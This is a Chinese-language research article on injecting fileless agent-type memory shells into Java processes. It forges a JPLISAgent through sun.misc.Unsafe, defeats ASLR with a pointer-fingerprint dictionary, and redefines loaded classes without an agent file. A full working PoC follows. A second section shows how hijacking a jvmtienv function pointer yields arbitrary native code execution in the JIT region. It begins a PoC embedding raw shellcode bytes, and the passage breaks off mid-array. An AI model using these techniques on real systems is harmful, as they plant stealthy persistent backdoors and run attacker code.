JAVA安全网作者：rebeyond
无文件落地Agent型内存马植入
可行性分析
前面我们讲到了目前Java内存马的分类：Agent型内存马和非Agent型内存马。由于非Agent型内存马注入后，会产生新的类和对象，同时还会产生各种错综复杂的相互引用关系，比如要创建一个恶意Filter内存马，需要先修改已有的FilterMap，然后新增FilterConfig、FilterDef，最后还要修改FilterChain，这一系列操作产生的脏数据过多，不够整洁。因此我还是认为Agent型内存马才是更理想的内存马。
但是目前来看，Agent型内存马的缺点也非常明显：
- 磁盘有agent文件落地
- 需要上传文件，植入步骤复杂
- 如无写文件权限，则无法植入
众所周知，想要动态修改JVM中已经加载的类的字节码，必须要通过加载一个Agent来实现，这个Agent可以是Java层的agent.jar，也可以是Native层的agent.so，但是必须要有个agent。有没有一种方法可以既优雅又简洁的植入Agent型内存马呢？换句话说，有没有一种方法可以在不依赖额外Agent的情况下，动态修改JVM中已经加载的类的字节码呢？以前没有，现在有了：）
首先，我们先看一下通过Agent动态修改类的流程：
1.在客户端和目标JVM建立IPC连接以后，客户端会封装一个用来加载agent.jar的AttachOperation对象，这个对象里面有三个关键数据：actioName、libName和agentPath；
2.服务端收到AttachOperation后，调用enqueue压入AttachOperation队列等待处理；
3.服务端处理线程调用dequeue方法取出AttachOperation；
4.服务端解析AttachOperation，提取步骤1中提到的3个参数，调用actionName为load的对应处理分支，然后加载libinstrument.so（在windows平台为instrument.dll），执行AttachOperation的On_Attach函数（由此可以看到，Java层的instrument机制，底层都是通过Native层的Instrument来封装的）；
5.libinstrument.so中的On_Attach会解析agentPath中指定的jar文件，该jar中调用了redefineClass的功能；
6.执行流转到Java层，JVM会实例化一个InstrumentationImpl类，这个类在构造的时候，有个非常重要的参数mNativeAgent：
这个参数是long型，其值是一个Native层的指针，指向的是一个C++对象JPLISAgent。
7.InstrumentationImpl实例化之后，再继续调用InstrumentationImpl类的redefineClasses方法，做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses0
8.执行流继续走入Native层：
继续跟入：
做了一系列判断之后，最终调用jvmtienv的redefineClasses方法执行类redefine操作：
接下来理一下思路，在上面的8个步骤中，我们只要能跳过前面5个步骤，直接从步骤6开始执行，即可实现我们的目标。那么问题来了，步骤6中在实例化InstrumentationImpl的时候需要的非常重要的mNativeAgent参数值，这个值是一个指向JPLISAgent对象的指针，这个值我们不知道。只有一个办法，我们需要自己在Native层组装一个JPLISAgent对象，然后把这个对象的地址传给Java层InstrumentationImpl的构造器，就可以顺利完成后面的步骤。
组装JPLISAgent
Native内存操作
想要在Native内存上创建对象，首先要获取可控的Native内存操作能力。我们知道Java有个DirectByteBuffer，可以提供用户申请堆外内存的能力，这也就说明DirectByteBuffer是有操作Native内存的能力，而DirectByteBuffer底层其实使用的是Java提供的Unsafe类来操作底层内存的，这里我们也直接使用Unsafe进行Native内存操作。
通过如下代码获取Unsafe：
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
通过unsafe的allocateMemory、putlong、getAddress方法，可以实现Native内存的分配、读写。
分析JPLISAgent结构
接下来，就是分析JPLISAgent对象的结构了，如下：
JPLISAgent是一个复杂的数据结构。由上文中redefineClasses代码可知，最终实现redefineClasses操作的是jvmtienv的redefineClasses函数。但是这个jvmtienv的指针，是通过jvmti(JPLISAgent)推导出来的，如下：
而jvmti是一个宏：
而在执行到jvmtienv的redefineClasses之前，还有多处如下调用都用到了jvmtienv：
因此，我们至少要保证我们自己组装的JPLISAgent对象需要成功推导出jvmtienv的指针，也就是JPLISAgent的mNormalEnvironment成员，其结构如下：
可以看到这个结构里存在一个回环指针mAgent，又指向了JPLISAgent对象，另外，还有个最重要的指针mJVMTIEnv，这个指针是指向内存中的JVMTIEnv对象的，这是JVMTI机制的核心对象。另外，经过分析，JPLISAgent对象中还有个mRedefineAvailable成员，必须要设置成true。
接下来就是要确定JVMTIEnv的地址了。
定位JVMTIEnv
通过动态分析可知，0x000002E62D8EE950为JPLISAgent的地址，0x000002E62D8EE950+0x8（0x000002E62D8EEB60）为mJVMTIEnv,即指向JVMTIEnv指针的指针：
转到该指针：
可以看到0x6F78A220即为JVMTIEnv对象的真实地址，通过分析发现，该对象存在于jvm模块的地址空间中，而且偏移量是固定的，那只要找到jvm模块的加载基址，加加上固定的偏移量即是JVMTIEnv对象的真实地址。但是，现代操作系统默认都开启了ASLR，因此jvm模块的基址并不可知。
信息泄露获取JVM基址
由上文可知，Unsafe提供了堆外内存的分配能力，这里的堆并不是OS层面的堆，而是Java层面的堆，无论是Unsafe分配的堆外地址，还是Java的堆内地址，其都在OS层的堆空间内。经过分析发现，在通过Unsafe分配一个很小的堆外空间时，这个堆外空间的前后内存中，存在大量的指针，而这些指针中，有一些指针指向jvm的地址空间。编写如下代码：
long allocateMemory = unsafe.allocateMemory(3);
System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
输出如下：
定位到地址0x2e61a1b67d0：
可见前后有很多指针，绿色的那些指针，都指向jvm的地址空间：
但是，这部分指针并不可复现，也就是说这些指针相对于allocateMemory的偏移量和指针值都不是固定的，也就是说我们根本无法从这些动态的指针里去推导出一个固定的jvm模块基址。当对一个事物的内部运作机制不了解时，最高效的方法就是利用统计学去解决问题。于是我通过开发辅助程序，多次运行程序，收集大量的前后指针列表，这些指针中有大量是重复出现的，然后根据指针末尾两个字节，做了一个字典，当然只做2个字节的匹配，很容易出错，于是我又根据这些大量指针指向的指针，取末尾两个字节，又做了一个和前面一一对应的字典。这样我们就制作了一个二维字典，并根据指针重复出现的频次排序。POC运行的时候，会以allocateMemory开始，往前往后进行字典匹配，可以准确的确定jvm模块的基址。部分字典结构如下："'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70' 每个条目含有3个元素，第一个为指针末尾2字节，第二个元素为指针指向的指针末尾两个字节，第三个元素为指针与baseAddress的偏移量。基址确定了，jvmtienv的具体地址就确定了。当然拿到了jvm的地址，加上JavaVM的偏移量便可以直接获得JavaVM的地址。
开始组装
拿到jvm模块的基址后，就万事俱备了，下面准备装配JPLISAgent对象，代码如下：
private static long getAgent(long jvmtiAddress)
{
Unsafe unsafe = getUnsafe();
long agentAddr=unsafe.allocateMemory(0x200);
long jvmtiStackAddr=unsafe.allocateMemory(0x200);
unsafe.putLong(jvmtiStackAddr,jvmtiAddress);
unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel);
unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l);
System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168));
unsafe.putLong(agentAddr,jvmtiAddress-0x234f0);
unsafe.putLong(agentAddr+0x8,jvmtiStackAddr);
unsafe.putLong(agentAddr+0x10,agentAddr);
unsafe.putLong(agentAddr+0x18,0x00730065006c0000l);
//make retransform env
unsafe.putLong(agentAddr+0x20,jvmtiStackAddr);
unsafe.putLong(agentAddr+0x28,agentAddr);
unsafe.putLong(agentAddr+0x30,0x0038002e00310001l);
unsafe.putLong(agentAddr+0x38,0);
unsafe.putLong(agentAddr+0x40,0);
unsafe.putLong(agentAddr+0x48,0);
unsafe.putLong(agentAddr+0x50,0);
unsafe.putLong(agentAddr+0x58,0x0072007400010001l);
unsafe.putLong(agentAddr+0x60,agentAddr+0x68);
unsafe.putLong(agentAddr+0x68,0x0041414141414141l);
return agentAddr;
}
入参为上一阶段获取的jvmti的地址，返回值为JPLISAgent的地址。
完整POC如下（跨平台）：
package net.rebeyond;
import sun.misc.Unsafe;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
public class PocWindows {
public static void main(String[] args) throws Throwable {
Unsafe unsafe = getUnsafe();
Thread.sleep(2000);
//System.gc();
//Thread.sleep(2000);
long allocateMemory = unsafe.allocateMemory(3);
System.out.println("allocateMemory:" + Long.toHexString(allocateMemory));
String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";
patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64
//patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64
long jvmtiOffset=0x79a220; //for java_8_271_x64
jvmtiOffset=0x78a280; //for windows_java_8_301_x64
//jvmtiOffset=0xf9c520; //for linux_java_8_301_x64
List<Map<String, String>> patternList = new ArrayList<Map<String, String>>();
for (String pair : patterns.split(",")) {
String offset = pair.split(":")[0].replace("'", "").trim();
String value = pair.split(":")[1].replace("'", "").trim();
String delta = pair.split(":")[2].replace("'", "").trim();
Map pattern = new HashMap<String, String>();
pattern.put("offset", offset);
pattern.put("value", value);
pattern.put("delta", delta);
patternList.add(pattern);
}
int offset = 8;
int targetHexLength=8; //on linux,change it to 12.
for (int j = 0; j < 0x2000; j++) //down search
{
for (int x : new int[]{-1, 1}) {
long target = unsafe.getAddress(allocateMemory + j * x * offset);
String targetHex = Long.toHexString(target);
if (target % 8 > 0 || targetHex.length() != targetHexLength) {
continue;
}
if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) {
continue;
}
System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j);
for (Map<String, String> patternMap : patternList) {
targetHex = Long.toHexString(target);
if (targetHex.endsWith(patternMap.get("offset"))) {
String targetValueHex = Long.toHexString(unsafe.getAddress(target));
System.out.println("[!]bingo.");
if (targetValueHex.endsWith(patternMap.get("value"))) {
System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j);
System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16)));
System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset));
//long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30;
long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset;
long agentAddress = getAgent(jvmtiAddress);
System.out.println("agentAddress:" + Long.toHexString(agentAddress));
Bird bird = new Bird();
bird.sayHello();
doAgent(agentAddress);
//doAgent(Long.parseLong(address));
bird.sayHello();
return;
}
}
}
}
}
}
private static long getAgent(long jvmtiAddress) {
Unsafe unsafe = getUnsafe();
long agentAddr = unsafe.allocateMemory(0x200);
long jvmtiStackAddr = unsafe.allocateMemory(0x200);
unsafe.putLong(jvmtiStackAddr, jvmtiAddress);
unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);
unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l);
System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));
unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);
unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr);
unsafe.putLong(agentAddr + 0x10, agentAddr);
unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);
//make retransform env
unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr);
unsafe.putLong(agentAddr + 0x28, agentAddr);
unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);
unsafe.putLong(agentAddr + 0x38, 0);
unsafe.putLong(agentAddr + 0x40, 0);
unsafe.putLong(agentAddr + 0x48, 0);
unsafe.putLong(agentAddr + 0x50, 0);
unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l);
unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68);
unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l);
return agentAddr;
}
private static void doAgent(long address) throws Exception {
Class cls = Class.forName("sun.instrument.InstrumentationImpl");
for (int i = 0; i < cls.getDeclaredConstructors().length; i++) {
Constructor constructor = cls.getDeclaredConstructors()[i];
constructor.setAccessible(true);
Object obj = constructor.newInstance(address, true, true);
for (Field f : cls.getDeclaredFields()) {
f.setAccessible(true);
if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) {
//System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj));
}
}
for (Method m : cls.getMethods()) {
if (m.getName().equals("redefineClasses")) {
//System.out.println("redefineClasses:" + m);
String newBirdClassStr = "yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA=";
Bird bird = new Bird();
ClassDefinition classDefinition = new ClassDefinition(
bird.getClass(),
Base64.getDecoder().decode(newBirdClassStr));
ClassDefinition[] classDefinitions = new ClassDefinition[]{classDefinition};
try {
//Thread.sleep(5000);
m.invoke(obj, new Object[]{classDefinitions});
} catch (Exception e) {
e.printStackTrace();
}
}
}
//System.out.println("instrument obj:" + obj);
//System.out.println("constr:" + cls.getDeclaredConstructors()[i]);
}
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
}
Bird.java
package net.rebeyond;
public class Bird {
public void sayHello()
{
System.out.println("hello!");
}
}
编译，运行：
上述环境是win10+Jdk1.8.0_301_x64，注释中内置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指纹，如果是其他OS或者JDK版本，指纹库需要对应更新。
可以看到，我们成功通过纯Java代码实现了动态修改类字节码。
按照惯例，我提出一种新的技术理论的时候，一般会直接给出一个下载即可用的exp，但是现在为了合规起见，此处只给出demo，不再提供完整的利用工具。
Java跨平台任意Native代码执行
确定入口
上文中，我们介绍了在Windows平台下巧妙利用instrument的不恰当实现来进行进程注入的技术，当注入的目标进行为-1时，可以往当前Java进程注入shellcode，实现不依赖JNI执行任意Native代码。但是这个方法仅适用于Windows平台。只适用于Windows平台的技术是不完整的：）
上一小节我们在伪造JPLISAgent对象的时候，留意到redefineClasses函数里面有这种代码：
allocate函数的第一个参数是jvmtienv指针，我们跟进allocate函数：
void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) {
void * resultBuffer = NULL;
jvmtiError error = JVMTI_ERROR_NONE;
error = (*jvmtienv)->Allocate(jvmtienv,
bytecount,
(unsigned char**) &resultBuffer);
/* may be called from any phase */
jplis_assert(error == JVMTI_ERROR_NONE);
if ( error != JVMTI_ERROR_NONE ) {
resultBuffer = NULL;
}
return resultBuffer;
}
可以看到最终是调用的jvmtienv对象的一个成员函数，先看一下真实的jvmtienv是什么样子：
对象里是很多函数指针，看到这里，如果你经常分析二进制漏洞的话，可能会马上想到这里jvmtienv是我们完全可控的，我们只要在伪造的jvmtienv对象指定的偏移位置覆盖这个函数指针即可实现任意代码执行。
构造如下POC：
先动态调试看一下我们布局的payload：
0x219d1b1a810为我们通过unsafe.allocateMemory分配内存的首地址，我们从这里开始布局JPLISAgent对象，0x219d1b1a818处的值0x219d1b1a820是指向jvmtienv的指针，跟进0x219d1b1a820，其值为指向真实的jvmtienv对象的指针，这里我们把他指向了他自己0x219d1b1a820，接下来我们就可以在0x219d1b1a820处布置最终的jvmtienv对象了。根据动态调试得知allocate函数指针在jvmtienv对象的偏移量为0x168，我们只要覆盖0x219d1b1a820+0x168（0x219d1b1a988）的值为我们shellcode的地址即可将RIP引入shellcode。此处我们把0x219d1b1a988处的值设置为0x219d1b1a990，紧跟在0x219d1b1a988的后面，然后往0x219d1b1a990写入shellcode。
编译，运行：
进程crash了，报的异常是意料之中，仔细看下报的异常：
#EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000219d1b1a990, pid=24840, tid=0x0000000000005bfc
内存访问异常，但是pc的值是0x00000219d1b1a990，这就是我们shellcode的首地址。说明我们的payload布置是正确的，只不过系统开启了NX（DEP），导致我们没办法去执行shellcode，下图是异常的现场，可见RIP已经到了shellcode：
绕过NX(DEP)
上文的POC中我们已经可以劫持RIP,但是我们的shellcode部署在堆上，不方便通过ROP关闭DEP。那能不能找一块rwx的内存呢？熟悉浏览器漏洞挖掘的朋友都知道JIT区域天生RWE，而Java也是有JIT特性的，通过分析进程内存布局，可以看到Java进程确实也存在这样一个区域，如下图：
我们只要通过unsafe把shellcode写入这个区域即可。但是，还有ASLR，需要绕过ASLR才能获取到这块JIT区域。
绕过ASLR
在前面我们已经提到了一种通过匹配指针指纹绕过ASLR的方法，这个方法在这里同样适用。不过，这里我想换一种方法，因为通过指纹匹配的方式，需要针对不同的Java版本做适配，还是比较麻烦的。这里采用了搜索内存的方法，如下：
package net.rebeyond;
import sun.misc.Unsafe;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class PocForRCE {
public static void main(String [] args) throws Throwable {
byte buf[] = new byte[]
{
(byte) 0x41, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
